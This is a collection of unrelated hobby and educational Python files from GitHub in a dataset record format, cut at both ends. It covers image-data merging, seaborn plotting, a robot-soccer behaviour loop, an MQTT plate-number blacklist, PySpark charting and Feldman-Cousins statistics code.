= np.delete(data_beach, range(min_size, len(data_beach)), axis = 0)\ndata_mushroom = np.delete(data_mushroom, range(min_size, len(data_mushroom)), axis = 0)\ndata_shovel = np.delete(data_shovel, range(min_size, len(data_shovel)), axis = 0)\ndata_spoon = np.delete(data_spoon, range(min_size, len(data_spoon)), axis = 0)\ndata_eiffeltower = np.delete(data_eiffeltower, range(min_size, len(data_eiffeltower)), axis = 0)\ndata_zigzag = np.delete(data_zigzag, range(min_size, len(data_zigzag)), axis = 0)\n\nX_train = np.concatenate((data_cup, data_fish, data_fork, data_ladder, data_tree, data_airplane,\n data_donut, data_face, data_house, data_saw, data_tent, data_sun, data_moon, data_dog, \n data_table, data_eye, data_pear, data_sword, data_telephone, data_tornado, data_pool,\n data_stopsign, data_oven, data_bicycle, data_fan, data_line, data_key, data_waterslide,\n data_tshirt, data_purse, data_axe, data_nose, data_belt, data_steak, data_beach, data_mushroom,\n data_shovel, data_spoon, data_eiffeltower, data_zigzag), axis = 0)\n\nl = min_size\nbase = [0] * 5\ny_cup = 0\ny_fish = 1\ny_fork = 2\ny_ladder = 3\ny_tree = 4\ny_airplane = 5\ny_donut = 6\ny_face = 7\ny_house = 8\ny_saw = 9\ny_tent = 10\ny_sun = 11\ny_moon = 12\ny_dog = 13\ny_table = 14\ny_eye = 15\ny_pear = 16\ny_sword = 17\ny_telephone = 18\ny_tornado = 19\ny_pool = 20\ny_stopsign = 21\ny_oven = 22\ny_bicycle = 23\ny_fan = 24\ny_line = 25\ny_key = 26\ny_waterslide = 27\ny_tshirt = 28\ny_purse = 29\ny_axe = 30\ny_nose = 31\ny_belt = 32\ny_steak = 33\ny_beach = 34\ny_mushroom = 35\ny_shovel = 36\ny_spoon = 37\ny_eiffeltower = 38\ny_zigzag = 39\n\nY_train = [y_cup] * l + [y_fish] * l + [y_fork] * l + [y_ladder] * l + [y_tree] * l + [y_airplane]*l + [y_donut]*l + [y_face]*l + [y_house]*l + [y_saw]*l + [y_tent]*l + [y_sun]*l + [y_moon]*l + [y_dog]*l + [y_table]*l + [y_eye]*l + [y_pear]*l + [y_sword]*l + [y_telephone]*l + [y_tornado]*l + [y_pool]*l + [y_stopsign]*l + [y_oven]*l + [y_bicycle]*l + [y_fan]*l + [y_line]*l + [y_key]*l + [y_waterslide]*l + [y_tshirt]*l + [y_purse]*l + [y_axe]*l + [y_nose]*l + [y_belt]*l + [y_steak]*l + [y_beach]*l + [y_mushroom]*l + [y_shovel]*l + [y_spoon]*l + [y_eiffeltower]*l + [y_zigzag]*l\nprint(len(Y_train))\nY_train = np.asarray(Y_train)\nY_train = np_utils.to_categorical(Y_train)\nprint(Y_train.shape)\nX_train = X_train.reshape(X_train.shape[0], 28, 28, 1)\nprint(X_train.shape)\nfor i in range(0, X_train.shape[0]):\n X_train[i] = np.divide(X_train[i], 255)\n\nnp.save(\"./X_train_data.npy\", X_train)\nnp.save(\"./Y_train_data.npy\", Y_train)\n","repo_name":"bwalker20/Doodle-Image-Classifier","sub_path":"merge_data.py","file_name":"merge_data.py","file_ext":"py","file_size_in_byte":9382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33091296707","text":"#!/usr/bin/python3\n# coding: utf-8\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n# As for Seaborn, you have two types of functions: axes-level functions and figure-level functions.\n# The ones that operate on the Axes level are, for example, regplot(), boxplot(), kdeplot(), swarmplot(), ...\n# while the functions that operate on the Figure level are lmplot(), factorplot(), jointplot() and a couple others.\n# 数据分布的可视化:\n# 简单的单变量分布可以使用 matplotlib 的 hist() 函数绘制直方图, 双变量可以使用 sns.jointplot() 函数绘制六边形箱图阵\n# 如果需要更进一步的描述数据分布, 可以使用地毯图(rug plot)和核密度估计图(Kernel Density Estimate plot, KDE plot).\n# Seaborn 的 KDE 图默认使用的是高斯核函数.\n# 定量数据的线性模型绘图:\n# 线性模型用于理解激励(自变量)与响应(因变量)之间的线性关系. 下面以介绍 lmplot() 函数的使用为主.\n# lmplot() 函数的数据参数使用 Pandas 的 DataFrame 类型, 并且需要提供激励和响应变量的在 DataFrame 中的 name.\n# Data-aware 网格绘图:\n# 多维数据需要将数据分为子集依次画图, 这种绘图称为 lattice(或者 trellis) 绘图. Seaborn 基于 matplotlib 提供绘制多维数据的函数.\n# Seaborn 的接口要求使用 Pandas 的 DataFrame 作为数据参数, 并且必须是结构化的数据 (tidy data), 每一行为一个观测, 每一列为一个变量.\n# FacetGrid 类能够方便的绘制这类图像. FacetGrid 对象有三个维度: row,col 和 hue. 下面是几个例子.\n##################################################################\n## 一: Axes\n##################################################################\n## 准备数据\niris = sns.load_dataset(\"iris\") # Load iris data\nax = sns.swarmplot(x=\"species\", y=\"petal_length\", data=iris) # Construct iris plot\nprint(type(ax)) # \n\nx = np.random.normal(size=100)\nax = sns.distplot(x);\nprint(type(ax)) # \n\ndata = np.random.normal(size=(20, 6)) + np.arange(6) / 2\nax = sns.boxplot(data=data) # 默认有 (x=None, y=None, hue=None, data=None), 所以 data= 必须写\nprint(type(ax)) # \n## 准备结束\n##################################################################\n## set(), set_*()\nax.set_title('Hello') # 设置 Title\nax.set_ylim(1, 10) # 设置坐标范围\n# ax.set(xscale=\"log\", yscale=\"log\") # 对 x, y = 10 ** np.arange(1, 10), x * 2 这种好用\n# set_xticklabels(labels, **kwargs): Set the xtick labels with list of strings *labels*\nprint(list(set(iris.species.values))) # ['virginica', 'versicolor', 'setosa']\nax.set_xticklabels('abc', rotation=30) # labels 参数必须显示指定...; 标签对不上怎么办...\n# set() 和 set_*(): 前者可以包含后者, 将其作为参数\nax.set(ylim=(1, 10))\n\nplt.show()\n##################################################################\n## 二: FacetGrid 可以从中提取 grid.data, 有是一个 DataFrame\n##################################################################\n## 准备数据\ntitanic = sns.load_dataset(\"titanic\") # class: category; survived\nprint(titanic[['class', 'survived', 'sex']].values) # [['Third' 0 'male'], ...]\ngrid = sns.factorplot(\"class\", \"survived\", \"sex\", data=titanic) # 有 legend 反而不好看\nprint(type(grid)) # \nprint(grid.data.shape) # (891, 15); 虽然只取了 三个属性分析, 但是其他属性还在...\n\ntips = sns.load_dataset(\"tips\")\nprint(tips[['total_bill', 'tip']].values) # [[ 12.74 2.01], ...]\ngrid = sns.jointplot(\"total_bill\", \"tip\", data=tips, kind=\"reg\")\nprint(type(gird)) # \n\nx = np.arange(1, 10); y = x * 2\ndata = pd.DataFrame(data={'x': x, 'y': y})\ngrid = sns.lmplot('x', 'y', data)\nprint(type(grid)) # \n## 准备结束\n##################################################################\nax = grid.ax # 和上面的 ax 一毛一样\nprint(type(ax)) # \nfig = grid.fig; print(type(fig)) # \ndata = grid.data; print(type(data)) # \n\ngrid.despine() # Remove axis spines from the facets; 这么好用的方法 ax 没有, 只能通过 sns.despine(ax=ax)\n##################################################################\n## ax, set(), ax().set_()\n# 设置标题\nax.set_title('World') # 这个可以, 下面那行没找到\ngrid.set_titles('Hello World') # Draw titles either above each facet or on the grid margins.; 没看到...\ngrid.set_xticklabels(rotation=30) # 这个就不需要指定 labels, 比上面的好\n# 下面两行效果一样\ngrid.set(xlim=(0, 20)) # 这里\ngrid.ax.set(xlim=(0, 20)) # 这里\n\nplt.show()\n","repo_name":"HCShi/jShellscript","sub_path":"bin/template/src/jptseaborn/l10_FacetGrid_Axes.py","file_name":"l10_FacetGrid_Axes.py","file_ext":"py","file_size_in_byte":4972,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"611991916","text":"########################################\n# IA TauraBots Version 1.0.0 beta #\n# Author: Fábiner de Melo Fugali #\n# Date: 15/10/2015 #\n########################################\n\n\nfrom MindInterface import Simulation \nfrom MindInterface.config import * \n\nimport time\nimport math\n\n# Starts the simulation and stores a reference to the robot you are controlling\nrobot = Simulation.start()\n\n# Last ball seem informations\na_last_ball_seem = 0.0\np_last_ball_seem = pi/2\nr_last_ball_seem = 0\n\n# Doubt about ball\nballdoubt = 0\n\n# Identifier 1 or -1 to starts by default to turn around ball anticlockwise\nturnto = 1\n\n# Memory for poles\na_last_pole1_seem = 0\nr_last_pole1_seem = 0\na_last_pole2_seem = 0\nr_last_pole2_seem = 0\n\n# Variable that defines if Memory of poles will be lost or not\npoledoubt = 0\n\n# Last object position is blocking me\na_last_obstacle_position = 0\n\n\ndef look_around():\n robot.setMovementVector( Point2(r=0, a=a_last_ball_seem,phi=p_last_ball_seem) )\n\n\ndef search_ball():\n for obj in world.objects_list:\n # If some object has kind ball\n if obj.kind == \"ball\":\n # That object is the ball!\n return obj \n return None\n\n\ndef search_goal():\n found = 0\n pole1 = None\n pole2 = None\n global r_last_pole2_seem\n global a_last_pole2_seem\n for obj in world.objects_list:\n # If some object has kind pole\n if obj.kind == \"pole\":\n found = found + 1\n # That object is the pole!\n if found == 1:\n pole1 = obj\n # If the object will be between 0.5 and -0.5 of last past position. It is the same pole1, else will be pole2\n if pole1.position.a < a_last_pole1_seem - pi/6 or pole1.position.a > a_last_pole1_seem + pi/6:\n r_last_pole2_seem = r_last_pole1_seem\n a_last_pole2_seem = a_last_pole1_seem\n if found == 2:\n pole2 = obj\n return pole1, pole2\n\n\ndef obstacle_detection(b):\n # Avoid obtacles\n for obj in world.objects_list:\n # If some object is obstacle\n if obj.position.a > b.position.a -pi/2 and obj.position.a < b.position.a + pi/2 and b.position.r > 30 and obj.kind != \"ball\" and obj.position.r < b.position.r and obj.position.r < 30:\n print(\"there is a obstacle\")\n return obj\n return None\n\n\ndef obstacle_avoidance(obs):\n if obs.position.a < 0:\n print(\"avoid by left\")\n avoid_by_left() \n else:\n print(\"avoid by right\")\n avoid_by_right()\n \n\ndef avoid_by_left():\n robot.setMovementVector(Point2(r=1,a= pi/2,phi= pi/2)) \n\n\ndef avoid_by_right():\n robot.setMovementVector(Point2(r=1,a= -pi/2,phi= pi/2))\n\n\ndef go_after_ball(ball):\n global a_last_obstacle_position\n# If ball is far or lost align to ball\n if ball.position.r > 30 or (ball.position.a < -0.1 or ball.position.a > 0.1):\n # Variable for notify if there is obtacle\n obstacle = obstacle_detection(ball) \n if obstacle:\n obstacle_avoidance(obstacle)\n a_last_obstacle_position = obstacle.position.a \n else:\n walk_to_something(ball.position.a, ball.position.a)\n \n # Verify if I can move myself to direction of ball\n if r_last_ball_seem > ball.position.r - 0.1 and r_last_ball_seem < ball.position.r + 0.1 and ball.position.r > 30:\n print(\"I can't move!\")\n if a_last_obstacle_position < 0:\n walk_side_left()\n if a_last_obstacle_position > 0:\n walk_side_right() \n return 0\n else:\n return 1\n\n\ndef walk_to_something(alpha, phi):\n robot.setMovementVector( Point2(r=1, a=alpha, phi=phi) )\n\n \ndef walk_side_left():\n robot.setMovementVector(Point2(r=1,a= pi/2,phi= 0))\n\n\ndef walk_side_right():\n robot.setMovementVector(Point2(r=1,a= -pi/2,phi= 0)) \n\n\ndef stop_to_walk():\n robot.setMovementVector( Point2() )\n\n\ndef opposite_to_goal_center(p1, p2):\n if p1 and p2:\n print(\"p1 and p2\")\n if(((p1.position.a + p2.position.a)/2) < 0):\n # Turn around ball anticlockwise\n turn_around_ball( 1)\n else:\n # Turn around ball clockwise\n turn_around_ball(-1)\n elif p1:\n print(\"p1\")\n if (p1.position.a + a_last_pole2_seem)/2 < 0:\n # Turn around ball anticlockwise\n turn_around_ball( 1)\n else:\n # Turn around ball clockwise\n turn_around_ball(-1)\n\n\ndef turn_around_ball(t):\n robot.setMovementVector( Point2(r=1, a=pi/2*t,phi=-pi/2*t) )\n\n\ndef kick(p1, p2, b):\n # If I have pole1 and pole2 then kick at center of poles\n if p1 and p2 and b:\n if((p1.position.a + p2.position.a)/2 > -0.1 and (p1.position.a + p2.position.a)/2 < 0.1):\n print(\"kick\")\n if b.position.a > 0:\n left_kick()\n else:\n right_kick()\n # If only found one pole, kick in this direction\n elif p1 and b: \n # If is too far away, then align to the only pole1 seem with the last position of pole2 and kick to.\n if ((p1.position.a + a_last_pole2_seem)/2 > -0.1 and (p1.position.a + a_last_pole2_seem)/2 < 0.1):\n print(\"kick\")\n if b.position.a > 0:\n left_kick()\n else:\n right_kick()\n # Search pole \n elif p1 == None:\n # Turn around ball \n print(\"é aqui q eu to movendo miltinho\")\n robot.setMovementVector( Point2(r=1, a=-pi/2 * turnto, phi=pi/2 * turnto) )\n\n\ndef left_kick():\n robot.setKick( 1)\n\n\ndef right_kick():\n robot.setKick(-1)\n\n\ndef memorize_ball(b):\n global a_last_ball_seem\n global p_last_ball_seem\n global r_last_ball_seem\n global balldoubt\n a_last_ball_seem = b.position.a\n p_last_ball_seem = b.position.a\n r_last_ball_seem = b.position.r\n balldoubt = 0\n\ndef memorize_goal(pole1, pole2):\n global r_last_pole1_seem\n global a_last_pole1_seem\n global r_last_pole2_seem\n global a_last_pole2_seem\n global turnto\n global poledoubt \n if pole1 and pole2 == None:\n r_last_pole1_seem = pole1.position.r\n a_last_pole1_seem = pole1.position.a\n if (pole1.position.a > 0):\n turnto = 1\n else:\n turnto = -1\n poledoubt = 0\n if pole1 and pole2:\n r_last_pole1_seem = pole1.position.r\n a_last_pole1_seem = pole1.position.a\n r_last_pole2_seem = pole2.position.r\n a_last_pole2_seem = pole2.position.a \n poledoubt = 0\n if pole1 == None and pole2 == None:\n poledoubt = poledoubt + 1\n if poledoubt > 40:\n # Lost the memory of last poles position\n print(\"Poles memories are lost\")\n r_last_pole1_seem = 0\n a_last_pole1_seem = 0\n r_last_pole2_seem = 0\n a_last_pole2_seem = 0\n poledoubt = 0\n\n\nwhile robot.updateSimulation():\n world = robot.perceiveWorld()\n if not world:\n sys.exit(\"No world received\")\n \n robot.setKick(0)\n ball = search_ball()\n if ball:\n pole1, pole2 = search_goal()\n memorize_goal(pole1, pole2)\n flag = go_after_ball(ball)\n\n if flag:\n stop_to_walk()\n opposite_to_goal_center(pole1, pole2)\n kick(pole1, pole2, ball)\n\t\t\t\n memorize_ball(ball)\n \n elif r_last_ball_seem > balldoubt: \n walk_to_something(a_last_ball_seem, a_last_ball_seem)\n balldoubt = balldoubt + 10\n\n else:\n look_around()\n \t\n time.sleep(1/10)\n\n# To do List\n# Implement ball track prevision\n\n\n# Done List\n# After some time, set the poles memory to zero\n# Ball doubt\n# Pole doubt\n# Prevision of Obstacles\n# Avoid obstacles\n# Kick only to goal\n# Change poles memory\n","repo_name":"TauraBots/TauraBehaviour","sub_path":"IAfabiner.py","file_name":"IAfabiner.py","file_ext":"py","file_size_in_byte":7838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72362732571","text":"import requests,json\nclass drone:\n max_speed = 0\n min_alt = 0\n max_angle_attack = 0\n max_rate_ascend = 0\n max_distance_home = 0\n low_battery_level = 0\n tot_time_flight = 0\n drone_category = 0\n\n def __init__(self,listdata):\n self.max_speed = listdata[0]\n self.min_alt = listdata[1]\n self.max_angle_attack = listdata[2]\n self.max_rate_ascend = listdata[3]\n self.max_distance_home = listdata[4]\n self.low_batttery_level = listdata[5]\n self.tot_time_flight = listdata[6]\n self.drone_category = listdata[7]\n\n def show_props(self):\n print(self.max_speed,end=\"\\t\")\n print(self.min_alt,end=\"\\t\")\n print(self.max_angle_attack,end=\"\\t\")\n print(self.max_rate_ascend,end=\"\\t\")\n print(self.max_distance_home,end=\"\\t\")\n print(self.low_batttery_level,end=\"\\t\")\n print(self.tot_time_flight,end=\"\\t\")\n print(self.drone_category)\n\n\ndef main():\n r = requests.get(\"http://localhost:5000/dump\")\n json_op = r.json()\n drone_list = []\n for x in json_op:\n drone_instance = drone(x)\n drone_list.append(drone_instance)\n for x in drone_list:\n x.show_props()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"canopeerus/drone-pi","sub_path":"getdata.py","file_name":"getdata.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38569193789","text":"class Solution:\n def repeatedSubstringPattern(self, s: str) -> bool:\n \n n=len(s)\n \n divisors=[]\n \n for i in range(1,int(math.sqrt(n))+1):\n if n%i==0:\n divisors.append(i)\n if n//i!=i:\n divisors.append(n//i)\n divisors.sort()\n \n print(divisors)\n \n for i,ele in enumerate(divisors):\n if ele==n:\n continue\n # print(s,s[:ele]*(n//ele))\n if s == s[:ele]*(n//ele):\n return True\n return False","repo_name":"iamheavymetalx7/LeetCode-Submissions","sub_path":"0459-repeated-substring-pattern/0459-repeated-substring-pattern.py","file_name":"0459-repeated-substring-pattern.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"36314556845","text":"import paho.mqtt.client as mqttClient\r\nimport time\r\nimport sqlite3\r\n \r\ndef on_connect(client, userdata, flags, rc):\r\n \r\n if rc == 0:\r\n \r\n print(\"Connected to broker\")\r\n \r\n global Connected #Use global variable\r\n Connected = True #Signal connection \r\n \r\n else:\r\n \r\n print(\"Connection failed\")\r\n \r\ndef on_message(client, userdata, message):\r\n message = (message.payload.decode(\"utf-8\"))\r\n print (\"Message received: \" + message)\r\n if (message[0] == \"a\"):\r\n try:\r\n conn = sqlite3.connect(\"blacklist.db\")\r\n c = conn.cursor()\r\n c.execute('INSERT INTO blacklist VALUES (?)',(message[1:],))\r\n conn.commit()\r\n print(\"Added to DB\")\r\n conn.close()\r\n except Exception as e:\r\n print('sqlite error: ', e.args[0])\r\n\r\n elif (message[0] == \"r\"):\r\n try:\r\n conn = sqlite3.connect(\"blacklist.db\")\r\n c = conn.cursor()\r\n c.execute('DELETE FROM blacklist WHERE NUMBER = (?)',(message[1:],))\r\n conn.commit()\r\n print(\"Deleted from DB\")\r\n conn.close()\r\n except Exception as e:\r\n print('sqlite error: ', e.args[0]) \r\n else:\r\n print(\"wrong format\")\r\n \r\nConnected = False #global variable for the state of the connection\r\n \r\nbroker_address= \"212.98.137.194\" #Broker address\r\nport = 1883 #Broker port\r\nuser = \"user\" #Connection username\r\npassword = \"bonjour\" #Connection password\r\n \r\nclient = mqttClient.Client() #create new instance\r\nclient.username_pw_set(user, password=password) #set username and password\r\nclient.on_connect= on_connect #attach function to callback\r\nclient.on_message= on_message #attach function to callback\r\n \r\nclient.connect(broker_address, port=port) #connect to broker\r\n \r\nclient.loop_start() #start the loop\r\n \r\nwhile Connected != True: #Wait for connection\r\n time.sleep(0.1)\r\n \r\nclient.subscribe(\"blacklist_dl\")\r\n \r\ntry:\r\n while True:\r\n time.sleep(1)\r\n \r\nexcept KeyboardInterrupt:\r\n print (\"exiting\")\r\n client.disconnect()\r\n client.loop_stop()","repo_name":"georgeshachem/random","sub_path":"plate-number-recognition/mqtt_subscribe.py","file_name":"mqtt_subscribe.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15562091849","text":"#...........................................................\n#Codigo para controlar el arduino por el puerto serie del pc\n#...........................................................\n\n#!/usr/bin/env python\nimport serial\n\narduino = serial.Serial('/dev/ttyACM0', 9600)\n\nprint(\"Starting!\")\n\nwhile True:\n comando = raw_input('Introduce un comando: ') #Input\n arduino.write(comando) #Mandar un comando hacia Arduino\n if comando == 'H':\n print('LED ENCENDIDO')\n elif comando == 'L':\n print('LED APAGADO')\n\narduino.close() #Finalizamos la comunicacion\n","repo_name":"sanchezco/codigos-SMC","sub_path":"2 - Python/sendSerial.py","file_name":"sendSerial.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"40280980578","text":"from loguru import logger\n\nfrom chronos.metadata import Setting, Session\n\n\ndef get_setting(key):\n \"\"\"Get setting value from database. Return None or value.\"\"\"\n session = Session()\n value = session.query(Setting).get(key)\n session.close()\n\n return value\n\n\ndef set_setting(key, value):\n \"\"\"Update setting or create new.\"\"\"\n session = Session()\n if get_setting(key) is None:\n session.add(Setting(key=key, value=value))\n logger.debug(\"Created new 'setting': {} with value: '{}'\", key, value)\n else:\n session.query(Setting).get(key).value = value\n logger.debug(\"Updated 'setting': {} with value: '{}'\", key, value)\n\n session.commit()\n session.close()\n\n\ndef get_all_settings():\n \"\"\"Get all settings from database.\"\"\"\n session = Session()\n\n all_settings = session.query(Setting).all()\n session.close()\n\n return session\n","repo_name":"simse/chronos","sub_path":"chronos/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"32"} +{"seq_id":"24238027803","text":"def solution(begin, target, words):\n answer = 0\n \n if target not in words:\n return 0\n \n answer = search1Differ(begin, words, target, 0)\n if answer == float(\"inf\"):\n return 0\n return answer\n\ndef search1Differ(currentWord, tmpWordSet, target, count):\n\n leastCount = float(\"inf\")\n\n searchWordSet = []\n leng = len(currentWord)\n \n if target == currentWord:\n return count\n \n for word in tmpWordSet:\n searchCount = 0\n for i in range(leng):\n if word[i] != currentWord[i]:\n searchCount += 1\n if searchCount > 1:\n break\n if searchCount == 1:\n searchWordSet += [word]\n \n tmpWordSet = list(set(tmpWordSet).difference(searchWordSet))\n\n for searchWord in searchWordSet:\n returnValue = search1Differ(searchWord, tmpWordSet, target, count+1)\n if returnValue < leastCount :\n leastCount = returnValue\n \n return leastCount\n\n \nprint(solution(\"hit\",\"cog\",[\"hot\", \"dot\", \"dog\", \"lot\", \"log\", \"cog\"]))\n","repo_name":"kbunggul/PythonPractice","sub_path":"lvl3/Pass/ChangeWord.py","file_name":"ChangeWord.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29824504214","text":"# %%\nfrom pyspark import SparkContext\nfrom pyspark.sql import SparkSession, SQLContext\nimport plotly.graph_objects as graph_objects\nimport findspark\n\nfindspark.init()\n\n# spark_context = SparkContext.getOrCreate()\nspark_context = SparkContext('local', 'First App')\nspark_session = SparkSession(spark_context)\nsqlContext = SQLContext(spark_context)\n\n# %%\ntext_file = sqlContext.read.format('com.databricks.spark.csv').\\\n options(header='true', inferschema='true', quote='\"', delimiter=',').\\\n load('./work/data/suicide.csv')\n\nrddfiltro = text_file.rdd.map(tuple)\nrddGen = rddfiltro.map(lambda word: (word[8], word[4]))\nrddGen.take(10)\n\n# %%\nrddConteo = rddGen.reduceByKey(lambda a, b: a+b)\nprint(f'Conteo total -> {rddConteo.collect()}')\n\nrddOrden = spark_context.parallelize(\n rddConteo.sortBy(lambda a: a[1], True).take(3))\nprint(f'3 generaciones con menor suicidios -> {rddOrden.collect()}')\n\nrddNombres = rddOrden.map(lambda x: (x[0]))\nprint(rddNombres.collect())\n\nrddTotales = rddOrden.map(lambda x: (x[1]))\nprint(rddTotales.collect())\n\n# %%\ngraph = graph_objects.Figure(\n data=graph_objects.Pie(\n labels=rddNombres.collect(),\n values=rddTotales.collect()\n ))\n\ngraph.update_layout(\n title_text='Generaciones con el menor numero de suicidios',\n title_font_size=30)\n\ngraph.update_traces(\n hoverinfo='label+percent',\n textinfo='value',\n textfont_size=20)\n\ngraph.write_html('./work/reports/GraficoPie.html', auto_open=True)\n","repo_name":"dadu0699/SS2P2-1S2022","sub_path":"scripts/T5.py","file_name":"T5.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5602460911","text":"import sys\r\nroot = None\r\nclass Node:\r\n def __init__ (self, key):\r\n self.val = key\r\n self.left = self.right = None\r\n\r\ndef rec_inorder(root):\r\n if root:\r\n rec_inorder(root.left)\r\n print(root.val)\r\n rec_inorder(root.right)\r\n\r\ndef insertNode(data):\r\n global root\r\n parent = root\r\n current = parent\r\n if root == None:\r\n root=Node(data)\r\n return\r\n else:\r\n while(1):\r\n temp = current\r\n if data= upper_limit_n[mu_idx]:\n upper_limit_n[mu_idx] = next_n\n if next_n <= lower_limit_n[mu_idx]:\n lower_limit_n[mu_idx] = next_n\n\n prob += pdf[mu_idx, next_n]\n\n i += 1\n\n upper_limit_n[upper_limit_n == n_obs[-1]] = np.nan\n\n # Add one n_bin_width to the upper limit to rather overcover the\n # interval than undercover\n n_bin_width = n_obs[1] - n_obs[0]\n\n lower_limit_n, upper_limit_n = fix_monotonicity(\n lower_limit_n, upper_limit_n)\n\n return lower_limit_n, upper_limit_n + n_bin_width, n_b\n\n\ndef feldman_cousins_intervals_from_acceptance_intervals(\n n_obs, n_b, mus,\n lower_limit_n,\n upper_limit_n,\n fix_discrete_n_pathology=True):\n '''\n Calculates confidence belts with the Feldman-Cousins approach\n from arbitrary acceptance intervals.\n\n For more information see `Feldman-Cousins`_.\n\n Parameters\n ----------\n n_obs: array-like\n Range of `n_obs` to scan while constructing the limits on\n `n_obs` for each `mu`.\n n_b: array-like\n Number of background events. Parameter for the poissonian\n distribution with background.\n mus: array-like\n Grid of `mu` values to contruct the limits on `n_obs` on.\n As `n_b` gets bigger the grid needs to get finer to actually\n populte every important `n_obs` value with an upper limit.\n lower_limit_n: array-like, shape(len(mus)) or (len(mus), len(n_b))\n Lower limit on n for each mu.\n upper_limit_n: array-like, shape(len(mus)) or (len(mus), len(n_b))\n Upper limit on n for each mu.\n fix_discrete_n_pathology: bool, optional\n If True, calculate the confidence belts for surrounding n_b to\n correct for a pathology arising from the discreteness of n_obs\n in the poissonian distribution, which causes some upper limits\n to rise for rising n_b.\n\n Returns\n -------\n lower_limit: array-like, shape(len(n_obs), len(n_b))\n The lower limits on `mu` for each `n_obs`.\n upper_limit: array-like, shape(len(n_obs), len(n_b))\n The upper limitson `mu` for each `n_obs`.\n\n .. _Feldman-Cousins:\n https://arxiv.org/abs/physics/9711021\n '''\n\n def fix_pathology(arr):\n for j in range(1, len(arr)):\n if arr[-(j + 1)] < arr[-j]:\n arr[-(j + 1)] = arr[-j]\n return arr\n\n if not isinstance(n_obs, Iterable):\n try:\n n_obs = np.arange(n_obs)\n except:\n raise ValueError('n_obs either has to be an Iterable ' +\n 'or an int, which is then fed into ' +\n 'np.arange.')\n\n if not isinstance(n_b, Iterable):\n n_b = np.array([n_b])\n\n lower_limit_n = np.atleast_2d(lower_limit_n)\n upper_limit_n = np.atleast_2d(upper_limit_n)\n\n if len(mus) != lower_limit_n.shape[0]:\n lower_limit_n = lower_limit_n.T\n if len(mus) != upper_limit_n.shape[0]:\n upper_limit_n = upper_limit_n.T\n\n # Translate upper and lower limit in measured n into\n # an interval in signal mean mu\n upper_limit_mu = np.zeros((len(n_obs), len(n_b)), dtype=float) - 1.\n lower_limit_mu = np.zeros((len(n_obs), len(n_b)), dtype=float) - 1.\n\n for n in range(len(n_obs)):\n for b in range(len(n_b)):\n upper_idx = upper_limit_n[:, b] == (n+1)\n lower_idx = lower_limit_n[:, b] == n\n\n if np.sum(lower_idx) == 0:\n warnings.warn(('The given `mus`-array is probably to coarse.' +\n ' No upper limit found for `n_obs` = {}. ' +\n 'Setting the upper limit to inf.').format(n))\n upper_limit_mu[n, b] = np.inf\n else:\n upper_limit_mu[n, b] = mus[lower_idx][-1]\n if np.sum(upper_idx) == 0:\n lower_limit_mu[n, b] = 0\n else:\n lower_limit_mu[n, b] = mus[upper_idx][0]\n\n if fix_discrete_n_pathology:\n lower_limit_mu[n] = fix_pathology(lower_limit_mu[n])\n upper_limit_mu[n] = fix_pathology(upper_limit_mu[n])\n\n return lower_limit_mu, upper_limit_mu\n\n\ndef poissonian_feldman_cousins_acceptance_interval(n_obs, n_b, mus, alpha=0.9):\n '''\n Acceptance intervals for a poisson process with background for the Feldman-\n Cousins approach.\n For more information see `Feldman-Cousins`_.\n\n Parameters\n ----------\n n_obs: array-like\n Range of `n_obs` to scan while constructing the limits on\n `n_obs` for each `mu`.\n n_b: array-like\n Number of background events. Parameter of the poissonian\n distribution with background.\n mus: array-like\n Grid of `mu` values to construct the limits on `n_obs` on.\n As `n_b` gets bigger the grid needs to get finer to actually\n populate every important `n_obs` value with an upper limit.\n alpha: float\n The desired confidence level of the constructed confidence belt.\n\n Returns\n -------\n lower_limit: array-like, shape(len(mus), len(n_b))\n The lower limits on `n_obs` for each `mu`.\n upper_limit: array-like, shape(len(mus), len(n_b))\n The upper limits on `n_obs` for each `mu`.\n\n .. _Feldman-Cousins:\n https://arxiv.org/abs/physics/9711021\n '''\n def poisson_with_bg_rank(n_obs, n_b, mu=0):\n R = np.zeros_like(n_obs)\n L = scs.poisson.pmf(n_obs, mu + n_b)\n mu_best = np.maximum(0, n_obs - n_b)\n L_best = scs.poisson.pmf(n_obs, mu_best + n_b)\n R = L / L_best\n return R\n\n def poisson_with_bg_cdf(lower_limit, upper_limit, mu, n_b):\n x = np.arange(lower_limit, upper_limit + 1, 1)\n prob = np.sum(scs.poisson.pmf(x, mu + n_b))\n return prob\n\n if not isinstance(n_b, Iterable):\n n_b = [n_b]\n\n lower_limit_n = np.zeros((len(mus), len(n_b))) * np.nan\n upper_limit_n = np.zeros((len(mus), len(n_b))) * np.nan\n\n for mu_idx, mu in enumerate(mus):\n for nb_idx, nb in enumerate(n_b):\n i = 0\n\n ranking = poisson_with_bg_rank(n_obs, nb, mu)\n indexes = np.argsort(ranking)[::-1]\n\n lower_limit_n[mu_idx, nb_idx] = n_obs[indexes[i]]\n upper_limit_n[mu_idx, nb_idx] = n_obs[indexes[i]]\n\n prob = poisson_with_bg_cdf(lower_limit_n[mu_idx, nb_idx],\n upper_limit_n[mu_idx, nb_idx],\n mu, nb)\n\n while prob <= alpha and i < len(n_obs)-1:\n next_n = n_obs[indexes[i+1]]\n if next_n >= 